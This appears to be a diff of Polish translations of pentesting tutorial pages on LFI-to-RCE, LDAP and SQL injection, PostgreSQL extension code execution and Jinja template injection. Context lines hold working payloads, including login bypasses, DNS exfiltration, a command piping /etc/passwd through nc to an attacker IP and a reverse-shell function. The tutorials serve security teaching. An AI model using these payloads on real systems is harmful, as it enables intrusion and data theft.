### Via php filters (no file needed)
|
||||
|
||||
Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej zawartości** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do dołączenia **bez potrzeby zapisywania** go w pliku.
|
||||
Ten [**opis**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej zawartości** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -603,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
||||
|
||||
**Nie wiem, jak to jest przydatne, ale może być.**\
|
||||
&#xNAN;_Even jeśli spowodujesz PHP Fatal Error, przesłane pliki tymczasowe PHP są usuwane._
|
||||
&#xNAN;_Enawet jeśli spowodujesz PHP Fatal Error, przesłane pliki tymczasowe PHP są usuwane._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -612,6 +612,8 @@ Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,25 +10,27 @@ Musisz naprawić exploit (zmienić **=>** na **=>**). Aby to zrobić, możesz:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas wykorzystywania znaku null)
|
||||
Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas eksploatacji znaku null)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Teoria
|
||||
|
||||
Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany.
|
||||
|
||||
Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę utworzonego pliku tymczasowego i wykorzystać RCE, uzyskując dostęp do pliku tymczasowego, zanim zostanie on usunięty.
|
||||
Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę tymczasowego pliku utworzonego i wykorzystać RCE, uzyskując dostęp do tymczasowego pliku, zanim zostanie on usunięty.
|
||||
|
||||
W **Windows** pliki są zazwyczaj przechowywane w **C:\Windows\temp\php**
|
||||
|
||||
W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyciągnięcie skądś nazwy pliku tymczasowego** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**".
|
||||
W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy tymczasowego pliku** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** używa bufora o wielkości **4096B** i gdy jest **pełny**, jest **wysyłany do klienta**. Następnie klient może **wysłać** **dużo dużych żądań** (używając dużych nagłówków) **przesyłając php** reverse **shell**, czekać na **pierwszą część phpinfo() do zwrócenia** (gdzie znajduje się nazwa pliku tymczasowego) i spróbować **uzyskać dostęp do pliku tymczasowego** zanim serwer php usunie plik, wykorzystując lukę LFI.
|
||||
**PHP** używa bufora o wielkości **4096B** i gdy jest **pełny**, jest **wysyłany do klienta**. Następnie klient może **wysłać** **dużo dużych żądań** (używając dużych nagłówków) **przesyłając php** reverse **shell**, czekać na **pierwszą część phpinfo()**, która zostanie zwrócona (gdzie znajduje się nazwa tymczasowego pliku) i spróbować **uzyskać dostęp do pliku tymczasowego** zanim serwer php usunie plik, eksploatując lukę LFI.
|
||||
|
||||
**Skrypt Pythona do próby bruteforce nazwy (jeśli długość = 6)**
|
||||
**Skrypt Pythona do próby brutalnego wymuszenia nazwy (jeśli długość = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
### **LDAP**
|
||||
|
||||
**Jeśli chcesz wiedzieć, czym jest LDAP, przejdź do następującej strony:**
|
||||
**Jeśli chcesz wiedzieć, czym jest LDAP, odwiedź następującą stronę:**
|
||||
|
||||
{{#ref}}
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
@ -16,7 +16,9 @@
|
||||
|
||||
**LDAP Injection** to atak skierowany na aplikacje webowe, które konstruują instrukcje LDAP na podstawie danych wejściowych od użytkownika. Występuje, gdy aplikacja **nieprawidłowo oczyszcza** dane wejściowe, co pozwala atakującym na **manipulację instrukcjami LDAP** przez lokalny proxy, co może prowadzić do nieautoryzowanego dostępu lub manipulacji danymi.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = and / or / not / item\
|
||||
@ -56,7 +58,7 @@ Następnie: `(&(objectClass=`**`*)(ObjectClass=*))`** będzie pierwszym filtrem
|
||||
|
||||
### Login Bypass
|
||||
|
||||
LDAP obsługuje kilka formatów do przechowywania hasła: clear, md5, smd5, sh1, sha, crypt. Tak więc, może się zdarzyć, że niezależnie od tego, co wprowadzisz w haśle, zostanie ono zhashowane.
|
||||
LDAP obsługuje kilka formatów do przechowywania hasła: clear, md5, smd5, sh1, sha, crypt. Tak więc, niezależnie od tego, co wprowadzisz w haśle, może być ono haszowane.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
@ -133,7 +135,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Zrzut danych
|
||||
|
||||
Możesz iterować po literach ASCII, cyfrach i symbolach:
|
||||
Możesz iterować po literach ascii, cyfrach i symbolach:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
## Wykrywanie punktów wejścia
|
||||
|
||||
Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzykiwać dane do zapytania bez zakłócania go**. Wymaga to zidentyfikowania metody, aby **skutecznie wydostać się z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
|
||||
Gdy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzyknąć dane do zapytania bez zakłócania go**. Wymaga to zidentyfikowania metody, aby **skutecznie wydostać się z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -66,7 +66,9 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections** w zaproponowany sposób:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Potwierdzanie za pomocą czasu
|
||||
|
||||
@ -146,7 +148,7 @@ Zazwyczaj do tego celu stosuje się dwie metody:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Mimo że **GROUP BY** i **ORDER BY** mają różne funkcjonalności w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn zapytania.
|
||||
Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Mimo że **GROUP BY** i **ORDER BY** mają różne funkcjonalności w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn w zapytaniu.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -189,9 +191,9 @@ _Inny sposób odkrywania tych danych istnieje w każdej różnej bazie danych, a
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Gdy wynik zapytania jest widoczny, ale wstrzyknięcie oparte na unii wydaje się niemożliwe, oznacza to obecność **ukrytego wstrzyknięcia opartego na unii**. Taki scenariusz często prowadzi do sytuacji wstrzyknięcia ślepego. Aby przekształcić wstrzyknięcie ślepe w oparte na unii, należy rozpoznać zapytanie wykonawcze na zapleczu.
|
||||
Gdy wynik zapytania jest widoczny, ale wstrzyknięcie oparte na unii wydaje się niemożliwe, oznacza to obecność **ukrytego wstrzyknięcia opartego na unii**. Taki scenariusz często prowadzi do sytuacji wstrzyknięcia ślepego. Aby przekształcić wstrzyknięcie ślepe w oparte na unii, należy rozpoznać zapytanie wykonawcze w zapleczu.
|
||||
|
||||
Można to osiągnąć za pomocą technik wstrzyknięcia ślepego wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
|
||||
Można to osiągnąć za pomocą technik wstrzykiwania ślepego wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie się z dokumentacją docelowego DBMS.
|
||||
|
||||
Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnego wstrzyknięcia opartego na unii.
|
||||
|
||||
@ -213,13 +215,13 @@ W tym przypadku możesz wykorzystać to zachowanie, aby zrzucić bazę danych zn
|
||||
```
|
||||
## Wykorzystywanie Error Blind SQLi
|
||||
|
||||
To **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź prawdziwą/fałszywą z zapytania, możesz **rozróżniać** między **błędem** w zapytaniu SQL a jego brakiem (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:
|
||||
To **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź prawdziwą/fałszywą z zapytania, możesz **rozróżniać między** **błędem** w zapytaniu SQL a jego brakiem (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Wykorzystywanie SQLi opartego na czasie
|
||||
|
||||
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania w oparciu o kontekst strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](#confirming-with-timing).
|
||||
W tym przypadku **nie ma** sposobu na **rozróżnienie** **odpowiedzi** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona **będzie się ładować dłużej**, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby [potwierdzić lukę SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -231,7 +233,7 @@ Możesz użyć stacked queries, aby **wykonać wiele zapytań z rzędu**. Zauwa
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Jeśli **żadna inna** metoda eksploatacji **nie zadziałała**, możesz spróbować sprawić, aby **baza danych wyeksportowała** informacje do **zewnętrznego hosta** kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:
|
||||
Jeśli **żaden inny** sposób eksploatacji **nie zadziałał**, możesz spróbować sprawić, aby **baza danych wyekstrahowała** informacje do **zewnętrznego hosta** kontrolowanego przez ciebie. Na przykład, za pomocą zapytań DNS:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -267,7 +269,7 @@ Lista do próby ominięcia funkcji logowania:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, prowadząc do nieautoryzowanego dostępu.
|
||||
To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, co prowadzi do nieautoryzowanego dostępu.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -281,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
Powinieneś używać jako nazwy użytkownika każdej linii z listy, a jako hasła zawsze: _**Pass1234.**_\
|
||||
&#xNAN;_(Te ładunki są również zawarte w dużej liście wspomnianej na początku tej sekcji)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Ominięcie uwierzytelniania GBK
|
||||
|
||||
@ -326,7 +330,7 @@ _Uwaga: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowsz
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Dodaj tyle `','',''`, ile uważasz za konieczne, aby zakończyć instrukcję VALUES. Jeśli wystąpi opóźnienie, masz SQLInjection.
|
||||
Dodaj tyle `','',''`, ile uważasz, aby zakończyć instrukcję VALUES. Jeśli opóźnienie zostanie wykonane, masz SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
@ -344,7 +348,7 @@ Oto jak to działa:
|
||||
|
||||
- Zapytanie próbuje wstawić dwa wiersze: jeden dla `generic_user@example.com` i drugi dla `admin_generic@example.com`.
|
||||
- Jeśli wiersz dla `admin_generic@example.com` już istnieje, klauzula `ON DUPLICATE KEY UPDATE` uruchamia się, instruując MySQL do zaktualizowania pola `password` istniejącego wiersza na "bcrypt_hash_of_newpassword".
|
||||
- W konsekwencji, można następnie spróbować uwierzytelnić się za pomocą `admin_generic@example.com` z hasłem odpowiadającym haszowi bcrypt ("bcrypt_hash_of_newpassword" reprezentuje hasz bcrypt nowego hasła, który powinien być zastąpiony rzeczywistym haszem pożądanego hasła).
|
||||
- W konsekwencji, można następnie spróbować uwierzytelnić się za pomocą `admin_generic@example.com` z hasłem odpowiadającym hashowi bcrypt ("bcrypt_hash_of_newpassword" reprezentuje hash bcrypt nowego hasła, który powinien być zastąpiony rzeczywistym hashem pożądanego hasła).
|
||||
|
||||
### Ekstrakcja informacji
|
||||
|
||||
@ -393,7 +397,7 @@ Example:
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - bypass przy użyciu alternatyw dla białych znaków
|
||||
No Space (%20) - bypass przy użyciu alternatyw białych znaków
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -410,9 +414,9 @@ Brak białych znaków - obejście za pomocą nawiasów
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### No commas bypass
|
||||
### Brak obejścia przecinków
|
||||
|
||||
No Comma - bypass używając OFFSET, FROM i JOIN
|
||||
Brak przecinka - obejście przy użyciu OFFSET, FROM i JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
@ -436,7 +440,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### Bypass WAF za pomocą notacji naukowej
|
||||
|
||||
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na blogu [gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
|
||||
@ -8,13 +8,13 @@ PostgreSQL został opracowany z myślą o rozszerzalności jako kluczowej funkcj
|
||||
|
||||
Od wersji 8.1 wprowadzono szczególny wymóg dotyczący bibliotek rozszerzeń: muszą być kompilowane z użyciem specjalnego nagłówka. Bez tego PostgreSQL ich nie wykona, zapewniając, że używane są tylko kompatybilne i potencjalnie bezpieczne rozszerzenia.
|
||||
|
||||
Pamiętaj również, że **jeśli nie wiesz jak** [**przesyłać pliki do ofiary, wykorzystując PostgreSQL, powinieneś przeczytać ten post.**](big-binary-files-upload-postgresql.md)
|
||||
Pamiętaj również, że **jeśli nie wiesz jak** [**przesłać pliki do ofiary wykorzystując PostgreSQL, powinieneś przeczytać ten post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE w Linuxie
|
||||
|
||||
**Aby uzyskać więcej informacji, sprawdź: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
Wykonywanie poleceń systemowych z PostgreSQL 8.1 i wcześniejszych wersji jest procesem, który został jasno udokumentowany i jest prosty. Można to wykorzystać: [moduł Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Wykonanie poleceń systemowych z PostgreSQL 8.1 i wcześniejszych wersji jest procesem, który został jasno udokumentowany i jest prosty. Można to wykorzystać: [moduł Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -26,7 +26,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Napisz plik binarny z base64</summary>
|
||||
<summary>Zapisz plik binarny z base64</summary>
|
||||
|
||||
Aby zapisać plik binarny w postgres, może być konieczne użycie base64, co będzie pomocne w tej kwestii:
|
||||
```sql
|
||||
@ -68,14 +68,14 @@ $$ LANGUAGE 'plpgsql';
|
||||
```
|
||||
</details>
|
||||
|
||||
Jednakże, gdy próbowano na większych wersjach **pojawił się następujący błąd**:
|
||||
Jednakże, gdy próbowano na wyższych wersjach **pojawił się następujący błąd**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Ten błąd jest wyjaśniony w [dokumentacji PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Aby upewnić się, że dynamicznie załadowany plik obiektowy nie jest ładowany do niekompatybilnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” z odpowiednią zawartością. Umożliwia to serwerowi wykrycie oczywistych niekompatybilności, takich jak kod skompilowany dla innej głównej wersji PostgreSQL. Magazyn magiczny jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć blok magiczny, napisz to w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
|
||||
> Aby upewnić się, że dynamicznie załadowany plik obiektowy nie jest ładowany do niekompatybilnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” z odpowiednią zawartością. Umożliwia to serwerowi wykrycie oczywistych niekompatybilności, takich jak kod skompilowany dla innej głównej wersji PostgreSQL. Magiczny blok jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć magiczny blok, napisz to w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
@ -90,7 +90,7 @@ Uzyskaj wersję PostgreSQL za pomocą:
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Aby zapewnić zgodność, kluczowe jest, aby główne wersje były zgodne. Dlatego kompilacja biblioteki z dowolną wersją w serii 9.6.x powinna zapewnić udaną integrację.
|
||||
Aby zapewnić zgodność, kluczowe jest, aby główne wersje były zgodne. Dlatego kompilacja biblioteki z dowolną wersją w serii 9.6.x powinna zapewnić pomyślną integrację.
|
||||
|
||||
Aby zainstalować tę wersję w swoim systemie:
|
||||
```bash
|
||||
@ -164,11 +164,13 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||||
PG_RETURN_VOID();
|
||||
}
|
||||
```
|
||||
Możesz znaleźć skompilowany DLL w tym zipie:
|
||||
Możesz znaleźć skompilowaną DLL w tym zipie:
|
||||
|
||||
{% file src="../../../images/pgsql_exec.zip" %}
|
||||
{{#file}}
|
||||
pgsql_exec.zip
|
||||
{{#endfile}}
|
||||
|
||||
Możesz wskazać temu DLL **który plik binarny wykonać** oraz liczbę jego wykonania, w tym przykładzie wykona `calc.exe` 2 razy:
|
||||
Możesz wskazać tej DLL **który plik binarny wykonać** oraz liczbę razy, aby go wykonać, w tym przykładzie wykona `calc.exe` 2 razy:
|
||||
```bash
|
||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
@ -262,7 +264,7 @@ Projekt [PolyUDF](https://github.com/rop-la/PolyUDF) jest również dobrym punkt
|
||||
|
||||
W **najnowszych wersjach** PostgreSQL nałożono ograniczenia, w których `superuser` jest **zabroniony** od **ładowania** plików bibliotek współdzielonych, z wyjątkiem określonych katalogów, takich jak `C:\Program Files\PostgreSQL\11\lib` w systemie Windows lub `/var/lib/postgresql/11/lib` w systemach \*nix. Te katalogi są **zabezpieczone** przed operacjami zapisu przez konta NETWORK_SERVICE lub postgres.
|
||||
|
||||
Pomimo tych ograniczeń, uwierzytelniony `superuser` bazy danych może **zapisywać pliki binarne** w systemie plików za pomocą "dużych obiektów." Ta możliwość obejmuje zapis w katalogu `C:\Program Files\PostgreSQL\11\data`, co jest niezbędne do operacji bazy danych, takich jak aktualizacja lub tworzenie tabel.
|
||||
Pomimo tych ograniczeń, uwierzytelniony `superuser` bazy danych może **zapisywać pliki binarne** w systemie plików za pomocą "dużych obiektów." Ta zdolność obejmuje zapis w katalogu `C:\Program Files\PostgreSQL\11\data`, co jest niezbędne do operacji bazy danych, takich jak aktualizacja lub tworzenie tabel.
|
||||
|
||||
Znacząca luka wynika z polecenia `CREATE FUNCTION`, które **zezwala na przechodzenie przez katalogi** do katalogu danych. W związku z tym uwierzytelniony atakujący mógłby **wykorzystać to przejście**, aby zapisać plik biblioteki współdzielonej w katalogu danych, a następnie **załadować go**. To wykorzystanie umożliwia atakującemu wykonanie dowolnego kodu, osiągając wykonanie kodu natywnego w systemie.
|
||||
|
||||
@ -279,9 +281,9 @@ Gdy przesłałeś rozszerzenie (o nazwie poc.dll w tym przykładzie) do katalogu
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Note, że nie musisz dodawać rozszerzenia `.dll`, ponieważ funkcja create doda je sama._
|
||||
_Note, że nie musisz dodawać rozszerzenia `.dll`, ponieważ funkcja create doda je automatycznie._
|
||||
|
||||
Aby uzyskać więcej informacji, **przeczytaj** [**oryginalną publikację tutaj**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Aby uzyskać więcej informacji, **przeczytaj**[ **oryginalną publikację tutaj**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
W tej publikacji **użyto tego** [**kodu do wygenerowania rozszerzenia postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj dowolną z wcześniejszych wersji_).\
|
||||
Na tej samej stronie podano **eksploit do zautomatyzowania** tej techniki:
|
||||
```python
|
||||
|
||||
@ -6,34 +6,34 @@
|
||||
|
||||
Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.
|
||||
|
||||
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:
|
||||
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który ilustruje podatny fragment kodu używający Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
||||
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
||||
|
||||
Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{bad-stuff-here}}` jest wstrzykiwany do parametru `name`. Ten ładunek może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie zyskując kontrolę nad serwerem.
|
||||
Payload `{{bad-stuff-here}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie zyskując kontrolę nad serwerem.
|
||||
|
||||
